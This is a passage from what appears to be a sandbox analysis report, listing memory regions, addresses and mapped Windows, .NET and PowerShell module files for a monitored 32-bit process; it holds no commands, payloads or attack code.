"c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1665 start_va = 0x4ae0000 end_va = 0x4bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 1668 start_va = 0x4470000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 1669 start_va = 0x4a30000 end_va = 0x4a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 1670 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1678 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1680 start_va = 0x60ef0000 end_va = 0x6101ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1683 start_va = 0x60dc0000 end_va = 0x60eebfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1687 start_va = 0x60630000 end_va = 0x60da3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1689 start_va = 0x60520000 end_va = 0x60624fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 1698 start_va = 0x730000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1699 start_va = 0x740000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1700 start_va = 0x730000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1701 start_va = 0x740000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1710 start_va = 0x730000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1711 start_va = 0x730000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1724 start_va = 0x730000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1725 start_va = 0x730000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1726 start_va = 0x730000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1727 start_va = 0x730000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1734 start_va = 0x48f0000 end_va = 0x492ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1735 start_va = 0x4a30000 end_va = 0x4a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 1736 start_va = 0x4bf0000 end_va = 0x4c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bf0000" filename = "" Region: id = 1737 start_va = 0x4c30000 end_va = 0x4c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 1738 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1739 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1747 start_va = 0x5fd00000 end_va = 0x60519fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1750 start_va = 0x5f9a0000 end_va = 0x5fcf3fff monitored = 1 entry_point = 0x5fcd7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1752 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1753 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1754 start_va = 0x4c70000 end_va = 0x4fc0fff monitored = 1 entry_point = 0x4fa7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1755 start_va = 0x4c70000 end_va = 0x4fc0fff monitored = 1 entry_point = 0x4fa7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1756 start_va = 0x4c70000 end_va = 0x4fc0fff monitored = 1 entry_point = 0x4fa7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1757 start_va = 0x4c70000 end_va = 0x4fc0fff monitored = 1 entry_point = 0x4fa7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1770 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 1773 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1774 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1780 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 1784 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 1792 start_va = 0x5f8a0000 end_va = 0x5f8f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1797 start_va = 0x4490000 end_va = 0x44cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 1798 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1799 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1804 start_va = 0x5f7e0000 end_va = 0x5f897fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1806 start_va = 0x4e70000 end_va = 0x4eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 1807 start_va = 0x4ec0000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 1808 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 1809 start_va = 0x4930000 end_va = 0x496ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 1810 start_va = 0x4e20000 end_va = 0x4e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 1811 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1814 start_va = 0x5f790000 end_va = 0x5f7dbfff monitored = 1 entry_point = 0x5f7afcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1816 start_va = 0xbf0000 end_va = 0xc3bfff monitored = 1 entry_point = 0xc0fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1821 start_va = 0xbf0000 end_va = 0xc3bfff monitored = 1 entry_point = 0xc0fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1822 start_va = 0xbf0000 end_va = 0xc3bfff monitored = 1 entry_point = 0xc0fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1823 start_va = 0xbf0000 end_va = 0xc3bfff monitored = 1 entry_point = 0xc0fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1827 start_va = 0x4cd0000 end_va = 0x4d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 1828 start_va = 0x4d70000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 1829 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1837 start_va = 0x679a0000 end_va = 0x679a7fff monitored = 0 entry_point = 0x679a10e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1841 start_va = 0x4470000 end_va = 0x44effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 1850 start_va = 0x4c90000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c90000" filename = "" Region: id = 1851 start_va = 0x4f00000 end_va = 0x4f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 1852 start_va = 0x5f640000 end_va = 0x5f6bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 1853 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1861 start_va = 0x5f5f0000 end_va = 0x5f636fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 1866 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 1871 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 1874 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1877 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 1886 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 1894 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 1896 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 1900 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1903 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1906 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 1909 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1912 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1929 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1954 start_va = 0x5f2d0000 end_va = 0x5f467fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 1981 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1982 start_va = 0x20c0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 1987 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 1988 start_va = 0x20e0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 1998 start_va = 0x20e0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2000 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 2006 start_va = 0x4aa0000 end_va = 0x4adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 2007 start_va = 0x5010000 end_va = 0x599ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 2008 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2009 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2010 start_va = 0x4c70000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 2018 start_va = 0x4c70000 end_va = 0x4d4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c70000" filename = "" Region: id = 2019 start_va = 0x4d80000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 2022 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2032 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2033 start_va = 0x4dd0000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 2034 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2035 start_va = 0x49d0000 end_va = 0x4a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 2036 start_va = 0x4f30000 end_va = 0x4f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 2037 start_va = 0x4fb0000 end_va = 0x4feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fb0000" filename = "" Region: id = 2038 start_va = 0x5a30000 end_va = 0x5a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a30000" filename = "" Region: id = 2039 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2040 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2047 start_va = 0x4390000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 2048 start_va = 0x59b0000 end_va = 0x59effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059b0000" filename = "" Region: id = 2049 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 2063 start_va = 0x2140000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2064 start_va = 0x5a20000 end_va = 0x5a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a20000" filename = "" Region: id = 2065 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2070 start_va = 0x4350000 end_va = 0x4360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004350000" filename = "" Region: id = 2075 start_va = 0x4f80000 end_va = 0x4fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 2076 start_va = 0x5bd0000 end_va = 0x5c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bd0000" filename = "" Region: id = 2077 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2082 start_va = 0x2130000 end_va = 0x2131fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2083 start_va = 0x65c40000 end_va = 0x65c47fff monitored = 0 entry_point = 0x65c43bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2084 start_va = 0x5c10000 end_va = 0x600ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005c10000" filename = "" Region: id = 2085 start_va = 0x2180000 end_va = 0x2181fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2086 start_va = 0x5c10000 end_va = 0x600ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005c10000" filename = "" Region: id = 2087 start_va = 0x4fd0000 end_va = 0x500ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fd0000" filename = "" Region: id = 2088 start_va = 0x5b30000 end_va = 0x5b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 2089 start_va = 0x61090000 end_va = 0x610a5fff monitored = 0 entry_point = 0x610913df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2090 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2091 start_va = 0x5f240000 end_va = 0x5f2c3fff monitored = 0 entry_point = 0x5f2419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2092 start_va = 0x5c10000 end_va = 0x5d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c10000" filename = "" Region: id = 2115 start_va = 0x65c50000 end_va = 0x65c59fff monitored = 0 entry_point = 0x65c54ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2119 start_va = 0x5b70000 end_va = 0x5c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 2292 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 2293 start_va = 0x4430000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 2294 start_va = 0x5aa0000 end_va = 0x5adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005aa0000" filename = "" Region: id = 2295 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2299 start_va = 0x2180000 end_va = 0x2180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2300 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2301 start_va = 0x21d0000 end_va = 0x21d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2302 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2313 start_va = 0x5e6d0000 end_va = 0x5f23dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = 